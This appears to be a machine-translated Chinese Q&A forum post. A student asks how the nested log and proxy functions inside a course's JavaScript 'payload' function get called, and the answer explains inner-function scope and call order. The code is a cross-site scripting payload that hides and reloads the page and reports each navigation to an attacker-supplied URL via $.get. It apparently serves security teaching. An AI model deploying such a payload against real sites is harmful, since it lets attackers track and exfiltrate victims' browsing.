我的课程的一部分我得到以下代码
function payload(attacker) {
function log(data) {
console.log($.param(data))
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
$("html").show();
log({event: "nav", uri: href});
$("#query").val("pwned!");
});
}
$("html").hide();
proxy("./");
}
在函数log
和proxy
中,如何调用参数?在后续代码中,只调用payload(attacker
,但我不知道如何通过调用payload
来调用其他两个函数。
我发现它们也是HTML标签,这是另一种只存在于Javascripts中的参数吗?
答案 0 :(得分:2)
另外两个是内部功能;他们只是帮助payload
完成工作,并且只在其范围内存在。请注意在函数定义的末尾如何调用proxy
?,将href
设置为' ./'并加载一些东西,包括在控制台上转储一些信息(通过调用log
)。那是如何调用其他函数的。没有什么神奇的事情发生。只需按照通话即可。